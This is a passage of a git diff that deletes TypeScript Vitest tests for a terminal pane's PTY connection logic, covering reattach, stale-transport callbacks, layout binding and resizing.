-        const pane = createPane(1)
-        const { writes, parseCallbacks } = captureCallbackTerminalWrites(pane)
-        const deps = createDeps({
-          isVisibleRef: { current: true },
-          restoredLeafId: LEAF_1,
-          restoredPtyIdByLeafId: { [LEAF_1]: 'tab-pty' }
-        })
-        connectPanePty(
-          pane as never,
-          createManager(1) as never,
-          bindPaneAgentTitleMocks(deps as never, agentTitleMocks3)
-        )
-        await flushAsyncTicks(20)
-        for (let step = 0; step < 40; step += 1) {
-          parseCallbacks.shift()?.()
-          await flushAsyncTicks(2)
-        }
-        expect(writes.join('').match(/startup/g)).toHaveLength(count)
-        expect(writes.join('')).toContain('new output')
-      }
-    )
-
-    it('drains live bytes after transport confirms an explicit reattach', async () => {
-      const { connectPanePty } = await import('../connect-pane-pty')
-      const agentTitleMocks4 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-        '@/lib/agent-status/aggregation/worktree-agent-status'
-      )
-      const { deliverTerminalDataWithDeferredCredit } =
-        await import('@/lib/pane-manager/terminal-delivery-credit')
-      const transport = createMockTransport('tab-pty')
-      const acknowledgeLiveFrame = vi.fn()
-      transport.connect.mockImplementation(
-        async ({ sessionId, callbacks }: { sessionId?: string; callbacks?: ConnectCallbacks }) => {
-          if (!sessionId) {
-            return null
-          }
-          // Why: the real dispatcher drains post-snapshot bytes as soon as spawn IPC resolves, before connect() returns.
-          callbacks?.onReattachDetermined?.()
-          deliverTerminalDataWithDeferredCredit(acknowledgeLiveFrame, () => {
-            callbacks?.onData?.('post-snapshot-live')
-          })
-          return { id: sessionId, snapshot: 'authoritative-snapshot' }
-        }
-      )
-      transportFactoryQueue.push(transport)
-      const pane = createPane(1)
-      const { writes, parseCallbacks } = captureCallbackTerminalWrites(pane)
-      const deps = createDeps({
-        restoredLeafId: LEAF_1,
-        restoredPtyIdByLeafId: { [LEAF_1]: 'tab-pty' }
-      })
-
-      connectPanePty(
-        pane as never,
-        createManager(1) as never,
-        bindPaneAgentTitleMocks(deps as never, agentTitleMocks4)
-      )
-      await flushAsyncTicks(20)
-
-      const snapshotIndex = writes.indexOf(`${RESET_GRAPHIC_RENDITION}authoritative-snapshot`)
-      expect(snapshotIndex).toBeGreaterThanOrEqual(0)
-      expect(writes).not.toContain('post-snapshot-live')
-      for (let step = 0; step < 40; step += 1) {
-        parseCallbacks.shift()?.()
-        await flushAsyncTicks(2)
-      }
-      const liveIndex = writes.indexOf('post-snapshot-live')
-      expect(liveIndex).toBeGreaterThan(snapshotIndex)
-      expect(acknowledgeLiveFrame).toHaveBeenCalledOnce()
-      expect(deps.syncPanePtyLayoutBinding).toHaveBeenCalledWith(1, 'tab-pty')
-    })
-
-    it('does not steal a newer user pin while deferred reattach output settles', async () => {
-      const { connectPanePty } = await import('../connect-pane-pty')
-      const agentTitleMocks6 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-        '@/lib/agent-status/aggregation/worktree-agent-status'
-      )
-      const { markTerminalFollowOutput, markTerminalPinnedViewport } =
-        await import('@/lib/pane-manager/terminal-scroll-intent')
-      const transport = createMockTransport('tab-pty')
-      transport.connect.mockImplementation(
-        async ({ sessionId, callbacks }: { sessionId?: string; callbacks?: ConnectCallbacks }) => {
-          if (!sessionId) {
-            return null
-          }
-          callbacks?.onData?.('post-snapshot-live')
-          return { id: sessionId, snapshot: 'authoritative-snapshot' }
-        }
-      )
-      transportFactoryQueue.push(transport)
-      const pane = createPane(1)
-      pane.terminal.buffer.active.baseY = 100
-      pane.terminal.buffer.active.viewportY = 100
-      markTerminalFollowOutput(pane.terminal)
-      const parseCallbacks: { data: string; run: () => void }[] = []
-      pane.terminal.write = vi.fn((data: string | Uint8Array, callback?: () => void) => {
-        data = terminalWriteText(data)
-        parseCallbacks.push({
-          data,
-          run: () => {
-            if (data === 'post-snapshot-live') {
-              pane.terminal.buffer.active.baseY = 200
-              pane.terminal.buffer.active.viewportY = 100
-            }
-            callback?.()
-          }
-        })
-      })
-      const deps = createDeps({
-        restoredLeafId: LEAF_1,
-        restoredPtyIdByLeafId: { [LEAF_1]: 'tab-pty' }
-      })
-
-      connectPanePty(
-        pane as never,
-        createManager(1) as never,
-        bindPaneAgentTitleMocks(deps as never, agentTitleMocks6)
-      )
-      await flushAsyncTicks(20)
-      for (let index = 0; index < 40; index += 1) {
-        const pending = parseCallbacks.shift()
-        pending?.run()
-        await flushAsyncTicks(4)
-        if (pending?.data === 'post-snapshot-live') {
-          pane.terminal.buffer.active.viewportY = 150
-          markTerminalPinnedViewport(pane.terminal)
-        }
-        if (parseCallbacks.length === 0 && index > 8) {
-          break
-        }
-      }
-
-      expect(pane.terminal.buffer.active.viewportY).toBe(150)
-    })
-
-    it('does not fresh-spawn after a dead deferred session delivers its buffered exit', async () => {
-      const { connectPanePty } = await import('../connect-pane-pty')
-      const agentTitleMocks8 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-        '@/lib/agent-status/aggregation/worktree-agent-status'
-      )
-      const transport = createMockTransport('tab-pty')
-      transport.connect.mockImplementation(
-        async ({ sessionId, callbacks }: { sessionId?: string; callbacks?: ConnectCallbacks }) => {
-          if (!sessionId) {
-            return 'unexpected-fresh-pty'
-          }
-          callbacks?.onData?.('dead-session-final-frame')
-          return { id: sessionId, exitedBeforeAttach: true }
-        }
-      )
-      transportFactoryQueue.push(transport)
-      const pane = createPane(1)
-      const { writes } = captureCallbackTerminalWrites(pane)
-      const deps = createDeps({
-        restoredLeafId: LEAF_1,
-        restoredPtyIdByLeafId: { [LEAF_1]: 'tab-pty' }
-      })
-
-      connectPanePty(
-        pane as never,
-        createManager(1) as never,
-        bindPaneAgentTitleMocks(deps as never, agentTitleMocks8)
-      )
-      await flushAsyncTicks(20)
-
-      expect(transport.connect).toHaveBeenCalledTimes(1)
-      expect(writes).toContain('dead-session-final-frame')
-      expect(deps.updateTabPtyId).not.toHaveBeenCalled()
-    })
-  })
-}
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/reattach/pty-connection-reattach-binding.test.ts b/src/renderer/src/components/terminal-pane/pty-connection/reattach/pty-connection-reattach-binding.test.ts
deleted file mode 100644
index 5231037c633..00000000000
--- a/src/renderer/src/components/terminal-pane/pty-connection/reattach/pty-connection-reattach-binding.test.ts
+++ /dev/null
@@ -1,855 +0,0 @@
-import type * as React from 'react'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { getEagerPtyBufferHandle } from '../../pty-transport/delivery/pty-dispatcher'
-import { flushAsyncTicks, createDeferred } from '../test-fixtures/pty-connection-test-async'
-import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../../../shared/layout-owner-switch'
-import {
-  bindsPaneInStore,
-  expectWindowStartAskedMain,
-  mainLayoutApplyTransport,
-  mainStartsPaneAs
-} from '../test-fixtures/pty-connection-test-main-pane-start-fixtures'
-import {
-  LEAF_1,
-  LEAF_2,
-  createMockTransport,
-  createPane,
-  createManager,
-  type ConnectCallbacks,
-  type MockTransport
-} from '../test-fixtures/pty-connection-test-pane-fixtures'
-import {
-  buildPaneConnectionDeps,
-  type PtyConnectionAgentTitleMocks,
-  bindPaneAgentTitleMocks
-} from '../test-fixtures/pty-connection-test-deps'
-import { createInitialStoreState } from '../test-fixtures/pty-connection-test-store-fixtures'
-import type { StoreState } from '../test-fixtures/pty-connection-test-store-state'
-import {
-  installTerminalTestGlobals,
-  restoreTerminalTestGlobals
-} from '../test-fixtures/pty-connection-test-environment'
-
-const {
-  resetAndRefreshAllTerminalWebglAtlases,
-  scheduleRuntimeGraphSync,
-  shouldSeedCacheTimerOnInitialTitle,
-  toastInfo,
-  notifyCodexPaneBoundForStaleSweep
-} = vi.hoisted(() => ({
-  resetAndRefreshAllTerminalWebglAtlases: vi.fn(),
-  scheduleRuntimeGraphSync: vi.fn(),
-  shouldSeedCacheTimerOnInitialTitle: vi.fn(() => false),
-  toastInfo: vi.fn(),
-  notifyCodexPaneBoundForStaleSweep: vi.fn()
-}))
-
-let mockStoreState: StoreState
-let transportFactoryQueue: MockTransport[] = []
-let createdTransportOptions: Record<string, unknown>[] = []
-let storeSubscribers: ((state: StoreState) => void)[] = []
-
-// Main's answer to the window's layout commands, as a switch-on build sends them.
-vi.mock('@/runtime/rpc/calls/runtime-rpc-call', async (importOriginal) =>
-  (
-    await import('@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture')
-  ).runtimeRpcClientWithLayoutApply(await importOriginal())
-)
-
-vi.mock('@/runtime/sync-runtime-graph/graph-sync-scheduler', () => ({
-  scheduleRuntimeGraphSync
-}))
-
-vi.mock('@/lib/pane-manager/pane-manager-registry', async (importOriginal) => ({
-  ...(await importOriginal<Record<string, unknown>>()),
-  resetAndRefreshAllTerminalWebglAtlases
-}))
-
-vi.mock('@/store/index', () => ({
-  useAppStore: {
-    getState: () => mockStoreState,
-    subscribe: (listener: (state: StoreState) => void) => {
-      storeSubscribers.push(listener)
-      return () => {
-        storeSubscribers = storeSubscribers.filter((candidate) => candidate !== listener)
-      }
-    }
-  }
-}))
-
-vi.mock('@/lib/agent-status/aggregation/worktree-agent-status', async (importOriginal) => {
-  const { buildAgentStatusModuleMock } =
-    await import('../test-fixtures/pty-connection-test-environment')
-  return buildAgentStatusModuleMock(await importOriginal<Record<string, unknown>>())
-})
-
-vi.mock('../../titles/cache-timer-seeding', () => ({
-  shouldSeedCacheTimerOnInitialTitle
-}))
-
-vi.mock('sonner', () => ({
-  toast: {
-    info: toastInfo
-  }
-}))
-
-vi.mock('@/lib/agent-session/accounts/codex/codex-stale-pane-sweep', () => ({
-  notifyCodexPaneBoundForStaleSweep
-}))
-
-// Pass useCallback through because this suite invokes notification hooks without rendering React.
-vi.mock('react', async (importOriginal) => {
-  const actual = await importOriginal<typeof React>()
-  return {
-    ...actual,
-    useCallback: <T extends (...args: unknown[]) => unknown>(fn: T): T => fn
-  }
-})
-
-vi.mock('../../pty-transport/ipc/pty-transport', () => ({
-  createIpcPtyTransport: vi.fn((options: Record<string, unknown>) => {
-    createdTransportOptions.push(options)
-    const nextTransport = transportFactoryQueue.shift()
-    if (!nextTransport) {
-      throw new Error('No mock transport queued')
-    }
-    return nextTransport
-  })
-}))
-
-vi.mock('../../pty-transport/remote-runtime/remote-runtime-pty-transport', () => ({
-  createRemoteRuntimePtyTransport: vi.fn(
-    (_environmentId: string, options: Record<string, unknown>) => {
-      createdTransportOptions.push(options)
-      const nextTransport = transportFactoryQueue.shift()
-      if (!nextTransport) {
-        throw new Error('No mock transport queued')
-      }
-      return nextTransport
-    }
-  )
-}))
-
-// Stub eager-buffer lookup to exercise live adoption without the IPC dispatcher.
-vi.mock('../../pty-transport/delivery/pty-dispatcher', async (importOriginal) => {
-  const actual = await importOriginal<Record<string, unknown>>()
-  return {
-    ...actual,
-    getEagerPtyBufferHandle: vi.fn(() => undefined)
-  }
-})
-
-function createDeps(overrides: Record<string, unknown> = {}) {
-  return buildPaneConnectionDeps(() => mockStoreState, overrides)
-}
-
-describe('connectPanePty', () => {
-  beforeEach(async () => {
-    vi.resetModules()
-    vi.clearAllMocks()
-    transportFactoryQueue = []
-    createdTransportOptions = []
-    storeSubscribers = []
-    mockStoreState = createInitialStoreState(() => mockStoreState)
-    await installTerminalTestGlobals()
-    ;(await mainLayoutApplyTransport()).reset()
-  })
-
-  afterEach(async () => {
-    await restoreTerminalTestGlobals()
-  })
-
-  it('reattaches a remounted split pane to its restored leaf PTY instead of the tab-level PTY', async () => {
-    const { connectPanePty } = await import('../connect-pane-pty')
-    const agentTitleMocks = await vi.importMock<PtyConnectionAgentTitleMocks>(
-      '@/lib/agent-status/aggregation/worktree-agent-status'
-    )
-    const transport = createMockTransport()
-    transportFactoryQueue.push(transport)
-    mockStoreState = {
-      ...mockStoreState,
-      settings: {
-        ...mockStoreState.settings
-      }
-    } as StoreState
-    const pane = createPane(2)
-    const manager = createManager(2)
-    const deps = createDeps({
-      restoredLeafId: LEAF_2,
-      restoredPtyIdByLeafId: { [LEAF_2]: 'leaf-pty-2' }
-    })
-
-    connectPanePty(
-      pane as never,
-      manager as never,
-      bindPaneAgentTitleMocks(deps as never, agentTitleMocks)
-    )
-
-    // Why: deferred reattach uses connect({ sessionId }) not attach() so the daemon's createOrAttach runs at the pane's real fitAddon dimensions.
-    expect(transport.connect).toHaveBeenCalledWith(
-      expect.objectContaining({ sessionId: 'leaf-pty-2' })
-    )
-    expect(transport.attach).not.toHaveBeenCalled()
-    await Promise.resolve()
-    expect(deps.syncPanePtyLayoutBinding).toHaveBeenCalledWith(2, 'leaf-pty-2')
-    // Queue stale-account inspection on restored reattach too; surviving PTYs never pass the fresh-spawn chokepoint.
-    expect(notifyCodexPaneBoundForStaleSweep).toHaveBeenCalledWith('leaf-pty-2')
-  })
-
-  it('publishes async layout bindings by the pane leaf, not a remapped numeric id', async () => {
-    const { connectPanePty } = await import('../connect-pane-pty')
-    const agentTitleMocks2 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-      '@/lib/agent-status/aggregation/worktree-agent-status'
-    )
-    const transport = createMockTransport()
-    transportFactoryQueue.push(transport)
-    const syncPanePtyLayoutBindingForLeaf = vi.fn()
-    const manager = createManager(1)
-    // Numeric slots may be reused for another leaf before old callbacks settle.
-    manager.getPanes.mockReturnValue([{ id: 1, leafId: LEAF_2 }])
-    const deps = createDeps({ syncPanePtyLayoutBindingForLeaf })
-    const pane = createPane(1)
-
-    connectPanePty(
-      pane as never,
-      manager as never,
-      bindPaneAgentTitleMocks(deps as never, agentTitleMocks2)
-    )
-    await flushAsyncTicks(12)
-
-    expect(syncPanePtyLayoutBindingForLeaf).toHaveBeenCalledWith(LEAF_1, 'tab-pty', 1)
-    expect(deps.syncPanePtyLayoutBinding).not.toHaveBeenCalled()
-  })
-
-  it('does not publish a stale layout callback after a successor transport takes the pane slot', async () => {
-    const { connectPanePty } = await import('../connect-pane-pty')
-    const agentTitleMocks3 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-      '@/lib/agent-status/aggregation/worktree-agent-status'
-    )
-    const reattach = createDeferred<{ id: string; isReattach: true }>()
-    const staleTransport = createMockTransport('terminal-old')
-    staleTransport.connect.mockImplementation(async () => reattach.promise)
-    transportFactoryQueue.push(staleTransport)
-    const syncPanePtyLayoutBindingForLeaf = vi.fn()
-    const paneTransportsRef = { current: new Map<number, MockTransport>() }
-    const deps = createDeps({ paneTransportsRef, syncPanePtyLayoutBindingForLeaf })
-    const pane = createPane(1)
-
-    connectPanePty(
-      pane as never,
-      createManager(1) as never,
-      bindPaneAgentTitleMocks(
-        Object.assign(deps, {
-          restoredLeafId: LEAF_1,
-          restoredPtyIdByLeafId: { [LEAF_1]: 'terminal-old' }
-        }) as never,
-        agentTitleMocks3
-      )
-    )
-    await flushAsyncTicks(8)
-    const callsBeforeReplacement = syncPanePtyLayoutBindingForLeaf.mock.calls.length
-    paneTransportsRef.current.set(pane.id, createMockTransport('terminal-successor'))
-    reattach.resolve({ id: 'terminal-new', isReattach: true })
-    await flushAsyncTicks(16)
-
-    expect(syncPanePtyLayoutBindingForLeaf).toHaveBeenCalledTimes(callsBeforeReplacement)
-  })
-
-  it('does not clear a successor pane error from a stale stream callback', async () => {
-    const { connectPanePty } = await import('../connect-pane-pty')
-    const agentTitleMocks4 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-      '@/lib/agent-status/aggregation/worktree-agent-status'
-    )
-    const staleTransport = createMockTransport('terminal-old')
-    let callbacks: ConnectCallbacks | undefined
-    staleTransport.connect.mockImplementation(async (options) => {
-      callbacks = options.callbacks
-      return { id: 'terminal-old', isReattach: true }
-    })
-    transportFactoryQueue.push(staleTransport)
-    const paneTransportsRef = { current: new Map<number, MockTransport>() }
-    const onPtyErrorCleared = vi.fn()
-    const deps = createDeps({
-      paneTransportsRef,
-      onPtyErrorClearedRef: { current: onPtyErrorCleared }
-    })
-
-    connectPanePty(
-      createPane(1) as never,
-      createManager(1) as never,
-      bindPaneAgentTitleMocks(deps as never, agentTitleMocks4)
-    )
-    await flushAsyncTicks(12)
-    expect(callbacks?.onErrorCleared).toBeDefined()
-
-    paneTransportsRef.current.set(1, createMockTransport('terminal-successor'))
-    callbacks?.onErrorCleared?.('stale stream')
-
-    expect(onPtyErrorCleared).not.toHaveBeenCalled()
-  })
-
-  it('does not clear a successor pane error when a stale binding is disposed', async () => {
-    const { connectPanePty } = await import('../connect-pane-pty')
-    const agentTitleMocks5 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-      '@/lib/agent-status/aggregation/worktree-agent-status'
-    )
-    const staleTransport = createMockTransport('terminal-old')
-    transportFactoryQueue.push(staleTransport)
-    const paneTransportsRef = { current: new Map<number, MockTransport>() }
-    const onPtyErrorCleared = vi.fn()
-    const deps = createDeps({
-      paneTransportsRef,
-      onPtyErrorClearedRef: { current: onPtyErrorCleared }
-    })
-
-    const binding = connectPanePty(
-      createPane(1) as never,
-      createManager(1) as never,
-      bindPaneAgentTitleMocks(deps as never, agentTitleMocks5)
-    )
-    await flushAsyncTicks(12)
-
-    paneTransportsRef.current.set(1, createMockTransport('terminal-successor'))
-    binding.dispose()
-
-    expect(onPtyErrorCleared).not.toHaveBeenCalled()
-  })
-
-  it('does not spend queued startup from a stale spawn callback', async () => {
-    const { connectPanePty } = await import('../connect-pane-pty')
-    const agentTitleMocks6 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-      '@/lib/agent-status/aggregation/worktree-agent-status'
-    )
-    const staleTransport = createMockTransport()
-    transportFactoryQueue.push(staleTransport)
-    const paneTransportsRef = { current: new Map<number, MockTransport>() }
-    const onStartupBound = vi.fn()
-    const startup = { command: 'echo queued-startup' }
-    const deps = createDeps({ paneTransportsRef, startup, onStartupBound })
-    const binding = connectPanePty(
-      createPane(1) as never,
-      createManager(1) as never,
-      bindPaneAgentTitleMocks(deps as never, agentTitleMocks6)
-    )
-    await flushAsyncTicks(12)
-
-    const onPtySpawn = createdTransportOptions[0]?.onPtySpawn as
-      | ((ptyId: string) => void)
-      | undefined
-    paneTransportsRef.current.set(1, createMockTransport('terminal-successor'))
-    onPtySpawn?.('stale-pty')
-
-    expect(onStartupBound).not.toHaveBeenCalled()
-    binding.dispose()
-  })
-
-  it('resizes a reattached PTY to the current grid when the pane narrows before reattach resolves', async () => {
-    const { connectPanePty } = await import('../connect-pane-pty')
-    const agentTitleMocks7 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-      '@/lib/agent-status/aggregation/worktree-agent-status'
-    )
-    const reattach = createDeferred<void>()
-    let currentPtyId: string | null = null
-    const transport = createMockTransport()
-    transport.getPtyId.mockImplementation(() => currentPtyId)
-    transport.connect.mockImplementation(async ({ sessionId }: { sessionId?: string }) => {
-      currentPtyId = sessionId ?? null
-      await reattach.promise
-      return sessionId ? { id: sessionId } : null
-    })
-    transportFactoryQueue.push(transport)
-    const pane = createPane(2)
-    pane.terminal.cols = 133
-    pane.terminal.rows = 63
-    let proposedGrid = { cols: 133, rows: 63 }
-    ;(
-      pane.fitAddon as unknown as {
-        proposeDimensions: () => { cols: number; rows: number }
-      }
-    ).proposeDimensions = vi.fn(() => proposedGrid)
-    pane.fitAddon.fit = vi.fn(() => {
-      pane.terminal.cols = proposedGrid.cols
-      pane.terminal.rows = proposedGrid.rows
-    })
-    const deps = createDeps({
-      restoredLeafId: LEAF_2,
-      restoredPtyIdByLeafId: { [LEAF_2]: 'leaf-pty-2' }
-    })
-
-    connectPanePty(
-      pane as never,
-      createManager(2) as never,
-      bindPaneAgentTitleMocks(deps as never, agentTitleMocks7)
-    )
-
-    expect(transport.connect).toHaveBeenCalledWith(
-      expect.objectContaining({ cols: 133, rows: 63, sessionId: 'leaf-pty-2' })
-    )
-
-    proposedGrid = { cols: 65, rows: 63 }
-    reattach.resolve()
-    await flushAsyncTicks()
-
-    expect(transport.resize).toHaveBeenCalledWith(65, 63)
-    expect(transport.resize).toHaveBeenLastCalledWith(65, 63, { claim: true })
-  })
-
-  it('does not let a stale pane transport publish a completed reattach', async () => {
-    const { connectPanePty } = await import('../connect-pane-pty')
-    const agentTitleMocks8 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-      '@/lib/agent-status/aggregation/worktree-agent-status'
-    )
-    const reattach = createDeferred<{ id: string; isReattach: true }>()
-    const staleTransport = createMockTransport()
-    let stalePtyId: string | null = 'terminal-old'
-    staleTransport.getPtyId.mockImplementation(() => stalePtyId)
-    staleTransport.connect.mockImplementation(async () => {
-      stalePtyId = 'terminal-new'
-      return reattach.promise
-    })
-    transportFactoryQueue.push(staleTransport)
-    const pane = createPane(1)
-    const manager = createManager(1)
-    const paneTransportsRef = { current: new Map<number, MockTransport>() }
-    const deps = createDeps({
-      paneTransportsRef,
-      restoredLeafId: LEAF_1,
-      restoredPtyIdByLeafId: { [LEAF_1]: 'terminal-old' }
-    })
-
-    connectPanePty(
-      pane as never,
-      manager as never,
-      bindPaneAgentTitleMocks(deps as never, agentTitleMocks8)
-    )
-    await flushAsyncTicks(4)
-    expect(staleTransport.connect).toHaveBeenCalledWith(
-      expect.objectContaining({ sessionId: 'terminal-old' })
-    )
-
-    const currentTransport = createMockTransport('terminal-current')
-    paneTransportsRef.current.set(pane.id, currentTransport)
-    pane.container.dataset.ptyId = 'terminal-current'
-    reattach.resolve({ id: 'terminal-new', isReattach: true })
-    await flushAsyncTicks(12)
-
-    expect(pane.container.dataset.ptyId).toBe('terminal-current')
-    expect(deps.updateTabPtyId).not.toHaveBeenCalled()
-    expect(deps.syncPanePtyLayoutBinding).not.toHaveBeenCalledWith(1, 'terminal-new')
-  })
-
-  it('accepts an explicit reattach id before the transport publishes its id', async () => {
-    const { connectPanePty } = await import('../connect-pane-pty')
-    const agentTitleMocks9 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-      '@/lib/agent-status/aggregation/worktree-agent-status'
-    )
-    const reattach = createDeferred<{ id: string; isReattach: true }>()
-    const transport = createMockTransport()
-    let transportPtyId: string | null = null
-    transport.getPtyId.mockImplementation(() => transportPtyId)
-    transport.connect.mockImplementation(async () => reattach.promise)
-    transportFactoryQueue.push(transport)
-    const pane = createPane(1)
-    const manager = createManager(1)
-    const deps = createDeps({
-      restoredLeafId: LEAF_1,
-      restoredPtyIdByLeafId: { [LEAF_1]: 'terminal-old' }
-    })
-
-    connectPanePty(
-      pane as never,
-      manager as never,
-      bindPaneAgentTitleMocks(deps as never, agentTitleMocks9)
-    )
-    await flushAsyncTicks(4)
-    reattach.resolve({ id: 'terminal-new', isReattach: true })
-    await flushAsyncTicks(12)
-
-    expect(pane.container.dataset.ptyId).toBe('terminal-new')
-    expect(deps.updateTabPtyId).toHaveBeenCalledWith('tab-1', 'terminal-new', 'terminal-old')
-    expect(deps.syncPanePtyLayoutBinding).toHaveBeenCalledWith(1, 'terminal-new')
-  })
-
-  it('does not replace a split sibling with the tab-level source PTY', async () => {
-    const { connectPanePty } = await import('../connect-pane-pty')
-    const agentTitleMocks10 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-      '@/lib/agent-status/aggregation/worktree-agent-status'
-    )
-    // A split spawn can report reattach while the source pane remains mounted and this leaf has no stale session ID.
-    const sourceTransport = createMockTransport('tab-pty')
-    const splitTransport = createMockTransport('split-pty')
-    splitTransport.connect.mockResolvedValue({ id: 'split-pty', isReattach: true })
-    const paneTransportsRef = {
-      current: new Map<number, MockTransport>([[1, sourceTransport]])
-    }
-    transportFactoryQueue.push(splitTransport)
-    mockStoreState = {
-      ...mockStoreState,
-      tabsByWorktree: { 'wt-1': [{ id: 'tab-1', ptyId: 'tab-pty' }] },
-      ptyIdsByTabId: { 'tab-1': ['tab-pty'] },
-      terminalLayoutsByTabId: {
-        'tab-1': {
-          root: {
-            type: 'split',
-            direction: 'vertical',
-            first: { type: 'leaf', leafId: LEAF_1 },
-            second: { type: 'leaf', leafId: LEAF_2 }
-          },
-          activeLeafId: LEAF_2,
-          expandedLeafId: null,
-          // The split leaf is intentionally unbound until its connect settles.
-          ptyIdsByLeafId: { [LEAF_1]: 'tab-pty' }
-        }
-      }
-    } as StoreState
-    const deps = createDeps({ paneTransportsRef })
-
-    connectPanePty(
-      createPane(2) as never,
-      createManager(2) as never,
-      bindPaneAgentTitleMocks(deps as never, agentTitleMocks10)
-    )
-    await flushAsyncTicks(20)
-
-    expect(splitTransport.connect).toHaveBeenCalledWith(
-      expect.not.objectContaining({ sessionId: expect.any(String) })
-    )
-    expect(deps.updateTabPtyId).toHaveBeenCalledWith('tab-1', 'split-pty')
-    expect(deps.updateTabPtyId).not.toHaveBeenCalledWith('tab-1', 'split-pty', 'tab-pty')
-    expect(mockStoreState.terminalLayoutsByTabId?.['tab-1']?.ptyIdsByLeafId).toEqual({
-      [LEAF_1]: 'tab-pty',
-      [LEAF_2]: 'split-pty'
-    })
-  })
-
-  it('infers a replacement when the tab PTY is bound to this leaf', async () => {
-    const { connectPanePty } = await import('../connect-pane-pty')
-    const agentTitleMocks11 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-      '@/lib/agent-status/aggregation/worktree-agent-status'
-    )
-    const splitTransport = createMockTransport('replacement-pty')
-    splitTransport.connect.mockResolvedValue({ id: 'replacement-pty', isReattach: true })
-    transportFactoryQueue.push(splitTransport)
-    // Keep this pane on the fresh-spawn path while retaining a tab-level
-    // identity that is also bound to its leaf.
-    const paneTransportsRef = {
-      current: new Map<number, MockTransport>([[1, createMockTransport()]])
-    }
-    mockStoreState = {
-      ...mockStoreState,
-      tabsByWorktree: { 'wt-1': [{ id: 'tab-1', ptyId: 'terminal-old' }] },
-      ptyIdsByTabId: { 'tab-1': ['terminal-old'] },
-      terminalLayoutsByTabId: {
-        'tab-1': {
-          root: { type: 'leaf', leafId: LEAF_2 },
-          activeLeafId: LEAF_2,
-          expandedLeafId: null,
-          ptyIdsByLeafId: { [LEAF_2]: 'terminal-old' }
-        }
-      }
-    } as StoreState
-    const deps = createDeps({ paneTransportsRef })
-
-    connectPanePty(
-      createPane(2) as never,
-      createManager(2) as never,
-      bindPaneAgentTitleMocks(deps as never, agentTitleMocks11)
-    )
-    await flushAsyncTicks(20)
-
-    expect(deps.updateTabPtyId).toHaveBeenCalledWith('tab-1', 'replacement-pty', 'terminal-old')
-    expect(mockStoreState.terminalLayoutsByTabId?.['tab-1']?.ptyIdsByLeafId).toEqual({
-      [LEAF_2]: 'replacement-pty'
-    })
-  })
-
-  it.each([
-    ['session-expired', { id: 'terminal-new', isReattach: true, sessionExpired: true }],
-    ['no-pty', undefined]
-  ] as const)(
-    'does not let a stale pane transport clear ownership on %s',
-    async (_label, result) => {
-      const { connectPanePty } = await import('../connect-pane-pty')
-      const agentTitleMocks12 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-        '@/lib/agent-status/aggregation/worktree-agent-status'
-      )
-      const reattach = createDeferred<
-        { id: string; isReattach: true; sessionExpired?: boolean } | undefined
-      >()
-      const staleTransport = createMockTransport()
-      let stalePtyId: string | null = 'terminal-old'
-      staleTransport.getPtyId.mockImplementation(() => stalePtyId)
-      staleTransport.connect.mockImplementation(async () => {
-        stalePtyId = 'terminal-new'
-        return reattach.promise
-      })
-      transportFactoryQueue.push(staleTransport)
-      const pane = createPane(1)
-      const paneTransportsRef = { current: new Map<number, MockTransport>() }
-      const deps = createDeps({
-        paneTransportsRef,
-        restoredLeafId: LEAF_1,
-        restoredPtyIdByLeafId: { [LEAF_1]: 'terminal-old' }
-      })
-
-      connectPanePty(
-        pane as never,
-        createManager(1) as never,
-        bindPaneAgentTitleMocks(deps as never, agentTitleMocks12)
-      )
-      await flushAsyncTicks(4)
-      const currentTransport = createMockTransport('terminal-current')
-      paneTransportsRef.current.set(pane.id, currentTransport)
-      pane.container.dataset.ptyId = 'terminal-current'
-      if (result === undefined) {
-        stalePtyId = null
-      }
-      reattach.resolve(result)
-      await flushAsyncTicks(12)
-
-      expect(pane.container.dataset.ptyId).toBe('terminal-current')
-      expect(deps.clearExitedPanePtyLayoutBinding).not.toHaveBeenCalled()
-      expect(deps.clearTabPtyId).not.toHaveBeenCalled()
-      expect(deps.syncPanePtyLayoutBinding).not.toHaveBeenCalledWith(1, null)
-      expect(deps.syncPanePtyLayoutBinding).not.toHaveBeenCalledWith(1, 'terminal-new')
-    }
-  )
-
-  it('adopts a live eager PTY and withholds snapshots after its renderer dies', async () => {
-    // Why: a live eager buffer means "attach + replay", not "reattach" — else first mount mis-routes to daemon-reattach and orphans the eager agent PTY.
-    const eagerPtyId = 'auto-eager-pty'
-    vi.mocked(getEagerPtyBufferHandle).mockImplementation((ptyId: string) =>
-      ptyId === eagerPtyId ? { flush: () => '', dispose: () => {} } : undefined
-    )
-    const { connectPanePty } = await import('../connect-pane-pty')
-    const agentTitleMocks13 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-      '@/lib/agent-status/aggregation/worktree-agent-status'
-    )
-    const transport = createMockTransport()
-    transportFactoryQueue.push(transport)
-    mockStoreState = {
-      ...mockStoreState,
-      tabsByWorktree: { 'wt-1': [{ id: 'tab-1', ptyId: eagerPtyId }] },
-      ptyIdsByTabId: { 'tab-1': [eagerPtyId] },
-      terminalLayoutsByTabId: {
-        'tab-1': {
-          root: { type: 'leaf', leafId: LEAF_1 },
-          activeLeafId: LEAF_1,
-          expandedLeafId: null,
-          ptyIdsByLeafId: { [LEAF_1]: eagerPtyId }
-        }
-      }
-    } as StoreState
-    const deps = createDeps({
-      restoredLeafId: LEAF_1,
-      restoredPtyIdByLeafId: { [LEAF_1]: eagerPtyId }
-    })
-
-    const pane = createPane(1)
-    connectPanePty(
-      pane as never,
-      createManager(1) as never,
-      bindPaneAgentTitleMocks(deps as never, agentTitleMocks13)
-    )
-    await flushAsyncTicks()
-
-    expect(transport.attach).toHaveBeenCalledWith(
